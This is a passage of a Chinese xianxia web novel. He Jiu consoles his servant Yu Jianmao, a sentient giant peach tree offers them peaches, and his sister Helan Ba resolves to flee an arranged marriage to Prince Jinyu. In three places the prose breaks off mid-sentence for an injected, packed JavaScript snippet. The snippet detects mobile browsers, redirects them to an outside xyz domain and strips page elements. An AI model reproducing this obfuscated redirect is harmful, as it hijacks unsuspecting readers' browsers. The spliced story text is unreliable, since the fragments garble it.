贺究努力沉住气,冷静地思考了一会儿,而后沉吟道:“你说的‘得逞了’,是指常揭崇是故意激我揍他的吗?......说实话其实我也有一点这样的感觉......哎,没想到他这么变态,那我今天这一顿胖揍,岂不是对他的奖励?” 正在绝望的於见猫:“......” 於见猫:“............” 小仙君哪里都完美绝伦,唯有脑回路,十分清奇。 阖了阖眼,於见猫决心坦白。 於见猫道:“如您所说,常揭崇确实是故意激您动手的,但他的目的并非您想的这般,他是为了更卑鄙的私心。” 4. 他的小仙君 “更卑鄙的私心?” 贺究盘起腿,双手撑在身后两侧的地上,换了个更舒服的姿势,准备听小猫好好给他说道说道。 从於见猫的角度,小仙君大刺刺地半坐半卧,丝毫不顾及形象,慵懒至极。 於见猫虽生为武将之子,却被教导要知节守礼,更是从小就接受严苛的训练,模仿那些尊贵上仙们的气度。 然而,真正接触到尊贵的上仙以后,於见猫才发现,上仙也并不各个都是仙风道骨的。 就比如他的主人赫兰九小仙君,多数时间里都像这样不拘小节,有时候更是会语出惊人,出口成脏。 尽管这样,於见猫却并没有感到失望或者幻灭,正相反,有很多次,就比如现在这个时刻,於见猫真心实意的觉得,小仙君是这样洒脱自在的小仙君,真是太好了。 如果可以的话,於见猫私心里希望小仙君能永远自在洒脱下去。 可小仙君是最最尊贵的小仙君,是赫兰氏族战神的幺子,是天庭界众仙里唯一身携业火出生的异象。 小仙君卓尔不群,将来定会成为天庭界出类拔萃的大神,会被帝君委以重任,会超越战神也未可知也。 如此这般的小仙君,期待他呵护他者有之,嫉妒他妨碍他者亦有之。 常揭崇便是后者。 绝望之外,於见猫又增添了几分对自己的憎恨,恨自己没能保护好小仙君。 “......小仙君应该知道,靖灵学宫招生条件苛刻,招生时间有限,有资格进入靖灵学宫的小仙君少之又少。” 贺究点头:“嗯嗯。所以呢?” “......这次靖灵学宫开放招生,符合条件的仙家几乎都报了名。常揭崇也不例外。” 贺究继续点头:“嗯嗯。我知道常揭崇他老爹给他报了名,上次大哥有提过。那咋了?” “......您对学宫并不上心,故而不知道学宫近日又颁发了仙告,公示这次招生名额还剩下最后一位,我斗胆推测,这仅剩的名额,应该是要在您和常揭崇之中抉择......” “哦?这就是你最近心不在焉的理由?”贺究眉峰上扬,指尖捻住地上一片花瓣,轻轻摩挲。 於见猫愣住。 小仙君的反应为何仍是漫不经心? 於见猫急道:“这些可都是关乎您的大事!靖灵学宫向来看重学生的私德,若是您打伤常揭崇的事传了出去,这仅剩的一个名额就非他莫属了!” 贺究奇怪道:“那常揭崇弄伤你就不用担心私德了?” 於见猫比贺究更奇怪:“我只是一介仙奴,怎能与仙君相提并论。” “狗屁不通!”贺究恼火地翻白眼。 於见猫:“......” “我方才说‘若是’,说得太过保守,真实的情况是,您打伤常揭崇的事一定会传出去,且一定会很快传遍靖灵学宫。因为......这一切正是常揭崇刻意设计的阴谋。”於见猫放弃了委婉。 贺究低头摆弄花瓣,没搭腔。 周围高大的花树往地上投下浓重阴影,阴云一般将两人的身影吞入其中。 於见猫难以窥见小仙君的表情,只能注意到他手边越堆越厚的残花,像一座正在隆起的微型坟头。 於见猫错一阵错愕,突然间惶惑不已,屈膝跪下赔罪。 “是我无能,只能识破常揭崇的阴谋,却不能护住小仙君周全......我本以为,只要对您隐瞒好此事,常揭崇的阴谋就会落空......可没想到您太过敏锐,一眼就......就......” “就怎样?”贺究头也没抬。 “......就......就看穿了我的失常。”於见猫咬住下唇,怕惊动什么似的,声音越发轻。 磕头的声音倒是更加沉闷。 “都是我的错,请小仙君降罪责罚!” “哎,你确实错了,而且还是大错,特错,让我再也无法忍受的错。这次我确实要好好罚罚你了。”贺究重重叹了口气,停下手,不再摆弄地上的花。 於见猫豁然抬头,腰背紧绷,一错不敢错地盯住贺究。 听到小仙君说“再也无法忍受”时,他仿佛被判了死刑。 还好还有后面半句话,堪堪将他抢救回来。 ‘小仙君还愿意罚我,这就意味着他还未完全对我失望,应该暂时不会将我放弃,把我赶走。’ 於见猫这样催眠着自己,耳尖耸动,静静等待责罚的降临。 比责罚先降临的是落英缤纷。 那团坟包般的花丘被小仙君抓起来砸了过来。 然而,花瓣里并没有加注任何法力,轻轻飘飘的,哪里能碰到人? 花骤雨似的四处飘散了。 随雨一同降下的还有小仙君愠怒的声音。 “说了八百遍不要跪我不要磕头!你是压根没往心里去啊!还有,你到底是抽得哪门子疯,为什么会认为,比起你的安全和尊严,我会更在意进入学宫的名额?” 轰隆—— 雷霆热雨。 於见猫错愕地跪在地上。 花雨洋洋洒洒。 无论怎样飞,终会落地。它们一片片飘零,无声无息落满了细细发抖的於见猫。 明明是没有任何重量的花瓣,可於见猫的心上却像被砸了一场真正的雨。雨滴滂沱,混沌不清,比花瓣重千钧。 贺究快被糊涂蛋猫气疯了,一顿输出臭骂,直到骂得累了,才喘了口气,又凶狠道:“你说你知道学宫还剩下最后一个名额,那你知道为什么还剩下一个吗?” 於见猫尚未从劈头盖脸的雷雨中清醒,恍恍惚惚地摇了摇头。 贺究呵呵,一拍大腿:“那是因为老子不去,才他大爷的多出来了这个名额!” 这一嗓子总算是把於见猫给咆清醒了。 “什么?!”於见猫悚然瞪圆眼睛。 贺究:“呵呵,什么什么,就是你听到的这么。” 於见猫:“............” 贺究:“......” 大眼瞪猫眼。 哎! 好气! 气死了。 气炸了。 可是猫能有什么坏心思。 猫只是笨。 擅自乱想,擅自主张,擅自受伤,擅自用猫笨笨的方式守护自己。 又笨又萌。 又想生气又没法生气。 贺究憋了一肚子火无处发泄,默默把这笔账加倍记到了常揭崇的头上。 这次打他还是打轻了,下次再碰到他,高低得给他打残! 但还是很郁闷。 于是伸手撸了两把猫头,哼哼道:“你前面说,你只是个仙奴,没法和仙君相提并论,是吧?” 感受着头顶的力度,於见猫僵硬地轻点了下脑袋。 贺究撇嘴:“真搞不懂你是怎么想的,要是按照你的思路,难道常揭崇就配与我相提并论了吗?” “我......” “常揭崇那傻蛋也是搞笑,是谁给他的错觉,让他觉得能跟我相比?又是谁给他的勇气,让他觉得这名额我不要就能轮得到他?” “.......... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660065|172898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..” “就因为这种破事,竟然害你受了伤......那混蛋最好祈祷你的魂魄完好无损,不然我就不只是打残他那么简单了,我要他十倍奉还!” “............” 在此之前,於见猫确信自己的魂魄无碍。可是现在,他突然不太确定了—— 一种说不清道不明的陌生情绪久久激荡着他的心。 ——若非魂魄受损,该从何解释? “哼,不说那个混蛋玩意儿了,继续说你。”贺究支起一条腿,托腮瞅着小猫,问:“知道自己错哪儿了吗?” 石破天惊的转折。激荡在於见猫胸中的情绪瞬间化作利斧,将他劈回了现实。 ‘没有保护好您。’ 几乎脱口而出。 还好话到嘴边,及时刹住。 ‘这不是小仙君想要听到的答案。’ ‘如果说出这个答案,小仙君一定会再次勃然大怒。’ ‘那么小仙君想要我回答的是什么呢?’ ‘我难道不是错在保护不力吗?’ ‘我究竟错在了哪儿?’ ‘......’ 於见猫苦思冥想,挣扎迷茫。 贺究等了半天没等到答案,实在是醉了。 真是败给猫了!!!!! 哎,算了算了,谁叫自己的猫呢,只能宠着了。 贺究长长叹了口气,无奈摊牌:“你错在太胡思乱想了。我明明一直有说不想进学宫吧,你为什么还要把那破名额看得这么重?” 错在胡思乱想? 於见猫再次受到暴击。 ......在小仙君身边,究竟要接受多少暴击? “想不明白就问,不许再胡思乱想了。”贺究气鼓鼓。真不能再对猫弹琴了。 於见猫:“......” 於见猫沉默须臾,逐渐锁拢眉头,似发问,亦似喃喃自语:“......不想是不想,做是做,名额不能被抢走......” 他的声音微乎其微,囫囵般含在嘴里。 但还是被贺究听清楚了。 贺究也皱起了眉。 贺究这才有点真正明白了小猫的想法。 确实,小猫的确每天都在听自己说不想进学宫。可是,在逆来顺受惯了的小猫的认知里,个人意愿形同虚设——不对,是根本不存在个人意愿。 对于小猫来说,只要是命令或期望,即使再不想,也必须顺从。 可怜的小猫。 硬生生被训成了狗。 贺究垂下头一秒,再抬头,斩钉截铁地告诉小猫:“在我的观念里,不想就不做,没有人能逼我做我不想做的事。” 说完,他身体向前倾去。 贺究拨起猫下巴抬正,让猫迷茫错乱的双眸对上自己的眼,正色道:“小猫你也可以这样哦,从现在起,你也要记住这一点,我不会强迫你去做任何你不愿意做的事,所以你要学会说不,人生苦短,你不要活得像个伪人,要活出自己的喜怒哀乐,拜托,你可是伟大的猫猫!” “............”於见猫。 在这一刻,於见猫的脑海里充满了回响。 好像滚雷不停掠过焦土。 眼前的一切都在向后倒退,唯有小仙君注视着他的双眼,岿然不动地驻足在他面前。 他在这双眼睛里看见了自己。 头一次,在属于另一个人的眼睛里看见了自己。 这个“另一个人”不是别人,是尊贵无比的小仙君。 正是他的小仙君。 5. 巨树献桃 他的小仙君的还在捋揉他的头发,那白玉造就般的手指,不以他卑鄙,一遍遍触碰他抚摸他。 “小仙君......”於见猫的声音闷且湿润。 贺究:“嗯?” “......我伟大吗?” “当然啊,你可是猫猫啊,猫猫拯救世界,没有人不爱猫猫。”贺究理所当然道。 “......拯救世界?世界怎么了?需要被拯救吗?” “咳咳,你又较真,我就是举个例子......总之,这些不重要,重要的是,你要记住,你对我来说很重要,所以你要保护好自己,不许再让外面随便哪个阿猫阿狗阿虫给欺负了。” “......我不怕被欺负,我只怕有人对小仙君不利。” 贺究差点笑喷:“搞笑呢,我堂堂神二代,上有我爹,下有我哥姐,全家都罩着我,谁敢对我不利?常揭崇吗?你还真拿常揭崇当盘菜了?常揭崇他爹见了我都得客客气气!” 於见猫低下头,默默羞红了脸。 “所以我才说你爱胡思乱想!以后再也不许胡思乱想了,与其偷偷内耗,不如直接发疯。你,听明白了吗?”贺究怒搓猫头,最后那句话模仿了尊父的口吻。 别说,有时候模仿尊父真有点子爽的。 只见小猫一凛,端起通红的脸庞,认认真真地回应道:“是,听明白了。” 贺究这才觉得舒爽了一些。 他站起身,伸手给小猫,让猫也起来:“走吧,回去了,回去找八姐给你看看有没有事。” 於见猫望着悬于面前的指尖,眸光微闪,没由来地闪回了先前罔顾尊卑去抱小仙君腰时的情形。 那时根本无暇顾及的所有感官,在这时蓦然复苏了。 小仙君身上独有的气味,小仙君细窄柔韧的腰身,小仙君白润的手指...... 於见猫呼吸一沉,急忙撇开视线,匆匆站起身,站到离贺究五步远的距离。 贺究:“?” 不过贺究没多想,拔腿便要走。 於见猫挽留道:“小仙君不看蟠桃了吗?” “哦蟠桃啊......” 蟠桃的事儿,於见猫不提,贺究都给忘了。 本来来百花园就不是真的为了看蟠桃,小猫受伤的真相已经搞清楚了,看不看桃便不重要了。 贺究摇头:“不看了,先找八姐看看你有没有事。” 於见猫怦然动容。 沉默须臾,於见猫道:“小仙君,还是先去看蟠桃吧,仙子受召去帝后宫里了,想必还没回来。” “咦?八姐去帝后那了吗?”这一点贺究没料到。 “是的,是您去见战神的时候,仙子受召前去的。” “这样啊......” “小仙君不妨看了蟠桃再回?” “噗,小猫你实话告诉我,其实是你很想看蟠桃吧!”贺究忍俊不禁。 於见猫见小仙君展露了如常的笑颜,唇角不自觉跟着微微上扬。 於见猫从未见过蟠桃。 也没好奇心重到非见不可。 但小仙君本是为蟠桃而来,怎可叫他为了自己扫兴而归。 於见猫微笑点头:“是的小仙君,其实我也想看蟠桃。” 说完,於见猫看见小仙君弯起了眼睛。 贺究抬手打了个响指:“那走吧。” 两人一前一后,在铺满各色花瓣的道上步入百花园深处。 走进蟠桃林,百来棵桃树错落,每棵上面都结满了蟠桃,花香四溢。 不过,最瞩目的,还得属桃林中间那棵巨大的桃树。 那是足以和琼楼媲美的巨树,盘根虬结,枝叶繁茂,花果丰盛。相较于它,其余葱郁的桃树都像重孙子和重重孙子辈的小苗苗。 “哇噢,巨树。”贺究穿来有一阵子了,已见过不少神奇的东西,此刻见到这巨树,还是不免惊叹。 巨树似是感知到了有来客,更似是很欢迎来客,无风自动,舒展枝叶树冠。于是潋滟桃花飒飒作响,空气里香气袭人。 “哈哈,十年树木百年树人,这家伙不知道几百几千岁,估计早成精了。”贺究弯曲手掌贴在眉间,仰头眯眼看它。 被说成了精的巨树更加好客地摆动枝叶,噗噗从身上摇落两只桃子掉向贺究。 贺究笑眯眯地接住桃子:“送给我们的?那我们可不客气咯。” 贺究扔了一只桃子给於见猫,另一只随便在衣袖上蹭两下,撕了外面毛茸茸的果皮,张嘴吃果肉。 清甜的桃肉一碰到牙就化了,甜蜜的汁水狠狠满足了味蕾。 两辈子头一次吃到这么美味的桃,贺究朝巨树比了个大拇指:“绝了!真甜!多谢款待!” 巨树哗哗摇曳枝叶。 似乎是很高兴被夸。 “小仙君喜欢的话,请把这个拿回去吃吧。”於见猫及时递上了自己的桃。 贺究瞥猫一眼,接回桃,撕了果皮,却不是自己吃,而是转手塞进了猫嘴。 “......”於见猫只觉唇上一凉,被湿漉漉的桃堵了个猝不及防。 贺究:“给你吃你就吃,这里这么多蟠桃,难道还不够我们两个人吃?” 巨树沙沙。 像在附议。 於见猫爆红了脸,只能就着小仙君的手,颤颤巍巍打开嘴,牙齿咬住了桃。 太甜了。 甜得太过,反而尝不太出滋味,蜜意潺潺,融化得四肢百骸酥酥麻麻。 於见猫越吃脸越红。 贺究看得哈哈直乐:“怎么吃个桃还把自己的脸吃成桃了。” 话音落,猫脸更红,双肩都紧绷。他若是长有尾巴,想必此刻一定也是绷得笔直竖在身后,跟着头顶一齐冒热烟。 巨树欢快地晃动枝干,又要摇桃下来。 贺究问:“巨树,我能跳上去自己摘吗?” 闻言,巨树停止了左右晃荡,改为上下晃荡,仿佛是在和蔼地在点头应允。 “嘿嘿,多谢多谢。”贺究点起脚尖,飞身上了树。 一身银白的他坐上树梢,像月光缀进了粉云,明艳夺目,不可方物。 依然是手掌抵眉的姿势,贺究激动地远眺:“芜湖,这就是当年齐天大圣的感觉吗?” “齐天大圣?”树下的於见猫迷惑。 “就是猴哥啦,你不认识。哈哈,我也是好起来了,cos了一把猴哥。” 於见猫:“......” 小仙君又说难懂的怪话了... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660066|172898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ... 巨树飒飒摇摆,托住贺究的那一片桃枝纷纷朝他聚拢,将最大最饱满的蟠桃送来给他。 “太热情了!树你真好!”贺究欣然接受了巨树的馈赠,不忘低头招呼於见猫:“小猫,你也上来吃呀。” 於见猫:“............” 小仙君怕不是把百花园当成自家后花园了...... 两人玩乐了一番,直到感知到有其他人也进来了百花园,才走另一条道离开。 准确来说,是於见猫求着贺究赶快离开的。 贺究还挺不乐意呢。 他只是在蟠桃林玩,又不是干什么坏事,被小猫弄得反倒像是鬼鬼祟祟做贼心虚。 不过贺究更惦记小猫身上的伤和屠魄镜,这回就听了猫的话,没与他多做争论,从另一条路离开了。 贺究走后没多久,蟠桃林进来了三个华服显赫的青年。 其中一位俊美青年身着金缕仙衣,器宇轩昂,明显是三人中为首的那位。 他在桃树中穿行了几步,抬眸望向贺究离开的方向,对同伴道:“还有人也来过蟠桃林。” “如果我猜得不错,恐怕刚刚在这里的人,是赫兰战神的九子。金玉太子应当知道其人。”一个同伴推测道。 “赫兰九?最近倒是常常听到他的名字。”金玉淡淡道。 “金玉太子,您快瞧这里,万寿桃送了许多蟠桃下来。”另一个同伴已去到了巨树底下,对金玉二人说。 金玉转身一看,果然发现了万寿桃送过蟠桃的痕迹。 金玉讶然:“蟠桃百年一结,赫兰九尚不到百岁,万寿桃怎会赠桃于他?” 一直与金玉亦步亦趋的青年也面露惊诧:“正是,万寿桃向来不待见生人,怎么会破格给予赫兰九如此殊荣?我听说赫兰九为人嚣张跋扈,想必是他自己强行摘取的吧。” “绝不可能,连天籁神君当年想要强取万寿桃都没能成功,一个百年道行都没有的赫兰九,怎么可能强行摘桃。”最先发现痕迹的青年否定了同伴的说法。 同伴不甘心道:“但赫兰九可是战神的——” “好了,都别吵了,这次确实是沃隆说得对。万寿桃从来都是主动进献蟠桃。”金玉打住了两人即将展开的争论。 见他们都安静地闭了嘴,金玉走近万寿桃,抬起一只手,要求道:“万寿桃,这是本太子第五次屈尊降贵来找你,这次你可肯给本太子进献一只蟠桃?” 巨树毫无反应。 事实上,这三人来此已有一段时间了,但满林桃树静静悄悄,尤其是巨树,比起先前贺究在这时,静谧地如同一座雕塑。 金玉被拂了面子,不爽摆到了明面上:“你竟然肯给赫兰九进献,却不肯给本太子,莫非万寿桃也得了天庭里一些仙家的毛病,分不清自己该站在什么位置吗?” 刚刚被沃隆抢了风头的奉储立刻抢话道:“这可使不得,都说人挪死树挪活,可万寿桃哪是一般的树,万寿桃根系扎于三千世界,是同时超越时间和空间的神树,它若是站错了地,被天庭铲了根,代价可就大了。” 巨树仍是无动于衷。 整片蟠桃林的气氛像是凝固了。 “冥顽不灵!”金玉沉下脸,恼怒地拂袖离去。 6. 奉旨联姻 “八姐——我有事找你八姐——” 一回到战神邸,贺究便急匆匆地往赫兰八的别苑跑。人还没进别苑正门,大嗓门先传了进去。 按理说,要是平时,听到贺究的声音,赫兰八马上就会出来接他。 可是今日,贺究半天没等到他八姐,倒是他八姐的好闺蜜彤婳仙子独自出来了。 “小九还是这么黏你八姐,可惜你八姐今日心情不佳,我们姐妹俩要谈些体己话,不若你明日再来吧。”彤婳仙子早与贺究相熟,她从珍珠卷帘中款款走出,脸上挂着勉强的笑容。 “我八姐心情不佳?她怎么了?”贺究下意识往珍珠卷帘后面张望。 这卷帘其实是一件法器,没有主人允许,任何人无法进出,从外往里看,什么也看不见。 彤婳仙子轻叹:“不过是些女儿心事,与你说了也没用。” “啊?我八姐不是从帝后那里回来的吗?彤婳姐姐,我看你脸色也不太好,到底发生了什么?跟我说说嘛,万一我能帮上忙呢?” 贺究心里有点犯嘀咕。 今日真是多事之秋,不光小猫受了伤,怎么八姐也碰上了事? “彤婳,让小九进来吧,他喊叫着来找我,怕不是有事。”一道清亮磁性的声音从珍珠卷帘后面传来,正是赫兰八。 “那好,我带他进来。”彤婳应了一声,示意贺究跟上自己。 贺究和於见猫对视一眼,跟随彤婳穿过了珍珠卷帘。 卷帘后完全不同于别苑女儿家的端庄典雅,全然是另一派风景,目光所及之处,到处是兵器法宝被随意摆放丢弃......怎一个杂乱可及。 加上赫兰八常常在院中乱来,院落除了杂乱,还很千疮百孔。 用贺究的话来说,他八姐的秘密闺阁,乃是战地装修风。 此刻,赫兰八躺在她的兵器库里,身下是一堆贺究叫不出名字的神兵利器。 但,细一看...... 贺究眼角微抽。 这些兵器大多都被掰了个对折。 不必说,凶手必然是他八姐。 贺究悄悄给彤婳递了个眼神。 彤婳同样回以眼神,无奈地笑笑,暗示他少说话为好。 两人的小小眼神互动被赫兰八尽收眼底。 赫兰八扔掉手中残兵,翻身坐起,撕了一角挂在旁边的云絮擦脸。 擦干净了脸和手,赫兰八才开口:“我有七个哥哥,只有小九一个弟弟,这个弟弟不比哥哥们稳重能干,却古灵精怪,没准真能帮我出出主意,彤婳,我不打算瞒他。” “没错没错,别瞒我,八姐有话就快说吧。”贺究就喜欢他八姐直爽的性格。 赫兰八直言道:“帝后给我指婚,让我嫁给金玉太子。” “金玉太子?”贺究睁大了眼睛:“帝君和帝后的儿子?” 赫兰八点头:“我和金玉素无交情,今日帝后突如其来的指婚,让我大吃一惊。” 贺究犹疑地问:“八姐是不想嫁?” “这还用问吗。”赫兰八一声嗤笑。 彤婳在一旁摇了摇头,轻叹道:“其实这是一桩好姻缘,多少人想嫁还嫁不了。” “那让想嫁的人去嫁不就好了。” “我八姐不喜欢的就是坏姻缘。” 赫兰八和贺究同时出声。 姐弟俩异口异声说完后,相视一笑。 赫兰八亲昵地揽过贺究肩膀,笑着对彤婳挑眉:“你看,我这个弟弟向着我,值得商量。” “包的包的。”贺究拍胸脯,极力表现得靠谱。“姐,你现在是啥想法?” 彤婳也笑了,只是笑中带着愁云。她显然没有这对姐弟乐观:“你们姐弟同心,羡煞旁人,可帝后的命令岂能反抗,即便不为自己想,也该为家族着想,小八,你要三思呐。” 贺究不以为然:“尊父儿子虽多,却只有八姐一个闺女,他肯定会支持八姐嫁一个自己喜欢的对象的。” “不,小九,你想错了,这段联姻,尊父和几位哥哥早就知道了。嗤,真是可笑,要嫁过去的我竟然是最后知道的。他们早已做好决定,今日不过是通知我罢了。” 赫兰八将手里的云絮撕了个稀巴烂,恨恨扔到地上践踏。 “既如此,今日何必惺惺作态与我商议?干脆直接压我上花轿岂不更好。” 贺究心头一跳:“尊父和哥哥们早就知道了?” “我说假话骗你不成?还是说......你听到他们都赞同,现在便要倒戈他们一方,也要劝我嫁给金玉太子?”赫兰八推开贺究,换了一副警惕的神态。 “八姐怎么会这样想我?我才不会劝八姐做自己不喜欢的事!”贺究赶紧黏回去,抱住赫兰八的手臂不放。 赫兰八表情微霁,缓了口气,尽量平和道:“我只是气每个人都把我当做一件能用的工具,从未有人在乎过我的意愿。帝君或尊父,无论是哪方先起的联姻念头,哪怕提前问过我一声,我也不至于如此恼火,兴许我还会认真考虑是否要牺牲自己去联姻,可是小九,你知道我今日回来去问尊父,尊父说的什么话吗?” “尊父说了什么?”贺究直觉不是什么好话,喉结滚了两滚,提前给自己做心理建设。 赫兰八忍不住冷笑:“尊父说他是为了我好。” 贺究:“......” 彤婳用手掌顺着赫兰八的后背,安抚她道:“小八,许是你多想了呢,战神一定是有战神的道理。” 赫兰八避开彤婳的手,气道:“别再劝我自己骗自己了,明明是为了赫兰的荣耀与私欲,偏偏说是为我好!为我好,会不问这是否是我想要的?为我好,会把我像个物件一样送给只有权势没有本事的纨绔?为我好,会决定好了一切后再通知我这个婚我不成也得成?” 赫兰八满满的怨气,听得贺究心惊肉跳。 尊父真是这么说的? 尊父真的要勉强八姐嫁一个她不想嫁的男人? “为什么啊......”贺究的嘴先他的心一步问出了口。 “还能为什么,为了赫兰,为了天庭,为了什么都可能,反正不会是为了我。”赫兰八一通宣泄情绪。末了觉得累了,召了七彩的藤椅飞来,轰然落在众人跟前。 赫兰八坐上藤椅,招呼贺究和彤婳也坐,然后呼了口气,问起贺究的来意:“小九,你既非劝客,来我这想必有事,说吧,这次想要哪件法宝?” “我这次来并未求宝。” 贺究没有落座,而是拉过一直安静站在远处的於见猫,撸起他左臂的袖子展示给八姐看。 “我知道八姐烦心,本不该这个时候添乱,可小猫是我的好兄弟,他受了伤,我只能带他来求助八姐。” 赫兰八瞧了於见猫手臂上的伤痕一眼:“哦?是法器所伤?屠魄镜?” 贺究双目铮亮,从兜里取出屠魄镜,边递上屠魄镜边深感骄傲地夸赞:“我就知道八姐会知道,八姐实在太厉害了,简直是先天法宝圣体,古天庭掌管法宝的神!” “花言巧语,你们男人,就知道说些好听的话哄人。”赫兰八的气性被几句甜话消解了一二,轻轻拍开贺究,拿起於见猫的手臂观摩。 於见猫恭恭敬敬低着头,不发一言,只是余光频频投向同样在认真观摩的贺究。 少顷,赫兰八鉴定完毕,撒开於见猫,说道:“安心,魂魄无碍,外伤不日也会自然恢复。” 闻言,贺究心里的大石头总算落了地。 他拍拍心口,踏实了:“那就好那就好。” “不过,是何人敢伤你的仙奴?”赫兰八问。 贺究哼道:“常揭崇那个不长眼的呗。这事没完,下次我还得弄他!” “唔,没听说过这号人。此人竟会有屠魄镜?屠魄镜可是个不错的法器,它的真正用处并非在于伤人,而是,借人魂魄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660067|172898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”赫兰八道。 贺究:“哦?” 赫兰八向他解释:“镜,鉴人也。屠魄镜真正的价值在于它可以混淆视听,迷惑他人。比方说,我取你一缕魂魄,封于镜中,那么我便可以在短时间内扮成你。在这期间,即便是法力高强的大神,也未必能看破出我的真身。” 贺究有些惊讶:“所以这其实不是攻击性法器啊。” “当然也可以用作攻击。只是这次的使用者是个庸才,连十分之一的威力都没发挥出来。”赫兰八带着点嘲笑意味说道。 贺究啧啧:“得亏是个庸才,不然我们小猫不就吃大亏了吗。” 赫兰八轻笑,侧目看向被她这个弟弟宝贝在手心里的於见猫。 於见猫迅速将衣袖拉下扣好,向赫兰八行礼道谢:“谢过仙子。” 赫兰八本只打算看他一眼,不料他竟如此羞赧,不禁起了玩味的心思。 “小鱼猫儿脸红什么,区区手臂,别说只是用眼睛看,便是让我多摸几把又如何?” 於见猫:“............” 於见猫猫瞳地震,一张脸黑红交替,不知所措地僵在原地。 安了心的贺究屁股刚沾到藤椅上坐下,就听到八姐这仿佛调戏良家妇男的荡漾语气,差点没掉凳摔下来。 “咳咳,八姐,你别这样,我们家小猫还小,正经兮兮的,经不住你逗。”贺究无语。 赫兰八美艳的双眸把於见猫上上下下一顿扫描,暧昧勾唇一笑,说道:“还是现在的日子快活,见了美男想怎么调戏就怎么调戏,若成了婚,能有这般自在?” 彤婳点她鼻尖笑话她:“你呀,爱舞刀弄枪钻研些奇珍异宝也就罢了,毕竟是战神之女,现在连调戏美男这样没规矩的话也直接说出口了,就不怕旁人听了诋毁你。” 赫兰八豪迈地翘腿斜靠在藤椅上,不屑道:“这怎么了,爱美之心人皆有之。再说背后私底下评论我们这些神女的神君还少吗?我只不过是做了跟他们一样的事,为何就该被诋毁?” 这番话简直深得贺究的心,贺究一拍大腿,附和道:“就是!我八姐这叫知行合一,敢作敢当!但是调戏我们家小猫不行哈。” 赫兰八失笑:“但凡没有最后这句,我就信你是在夸我了。” 贺究咳咳了两嗓子,转移话题吐槽道:“话说回来,也是离谱,我们堂堂修仙之人,讲究提高实力,报效天庭,居然也学下界搞联姻这一套......尤其我八姐这种要实力有实力要抱负有抱负的女仙,与其让她早早成婚,还不如加重对她的培养呢。” “小九抒我胸臆!” “八姐莫慌!我这就去找尊父!我一定帮你好好劝劝尊父!”贺究来了斗志,准备去找尊父理论。 赫兰八急忙拦住他:“尊父心意已决,这桩婚事已成定局,谁劝都不管用,你还是别上赶着去触霉头了。” 贺究:“那怎么办!” 赫兰八:“我打算逃婚。” 贺究:“!!!” 赫兰八眼神坚毅,看她的样子,似是早就下定了决心。 赫兰八定定看着贺究:“小九,这件事只有你能帮我,你愿意帮我逃婚吗?” “逃婚?八姐,你认真的吗?你要离家出走?你打算逃到哪里去?你已经安排好了吗?”贺究着实被吓到了。 赫兰八嗤道:“哪有什么安排,不过是走一步看一步,反正,总比被押着嫁给金玉太子好。” “小八,兹事体大,你要深思。”彤婳担忧地劝她。 贺究也觉得八姐有些武断了。 难道只能逃婚不可了吗? 若真逃婚,八姐该何去何从? 至少得安排好后路吧...... 就在贺究打算好好想想还有什么靠谱好办法时,他的脑子骤然一阵锐痛。 就像,有谁挖开了他的脑髓,往里面灌入了一些恐怖的画面碎片。 7. 逃婚大作战 画面光怪陆离。 时间似乎也是混乱的,就像无数个关于八姐的平行宇宙同时展开。 可不幸的是,无论是哪一个宇宙,最终的画面都指向——大婚。 盛大隆重的成亲仪式。 你方唱罢我登场。 金风玉露,三界无数。 即便如此,贺究在这些画面里感觉不到一丝婚礼该有的喜庆,从脑髓被撬动的刹那起,恶寒的不适感就如跗骨之蛆黏上了他的脊背。 接下来的画面碎片更是穷凶极恶。 离开了战神邸的八姐,再没有过笑容的八姐,日益憔悴下去的八姐,香消玉殒的八姐...... 贺究寒从心底起,抱住头试图把所有不祥的画面驱逐出脑海。 他确实做到了,碎片都消失了。 可消失以后,贺究钝痛余存的脑海中,那被他视为金手指的强烈念头出现了—— ——帮八姐逃婚 ——无论付出什么代价,帮助八姐逃婚 贺究:“............” “小仙君!!” “小九?你没事吧?” “小九......突然间的是怎么了?” 贺究懵懵然从头痛和预警中抽离出来,就见六只眼睛围成一个圈,正在上方紧张地盯着他。 原来他在惊恐中滑到了地上。 “......我没事,就是被八姐吓着了。”贺究有点虚脱,搭住於见猫给到他的手,重新坐回藤椅。 贺究的确是被他八姐吓到了。 虽然是那些突然出现在他脑子里的碎片里的八姐。 赫兰八不明所以:“被我吓到了?为什么?因为我要逃婚吗?你何时胆子变得这样小了?” “我怕八姐离开我。”贺究挪挪挪,靠到赫兰八身侧,张开双手抱住了她。 赫兰八一愣,下意识收紧手臂,回抱住了他。 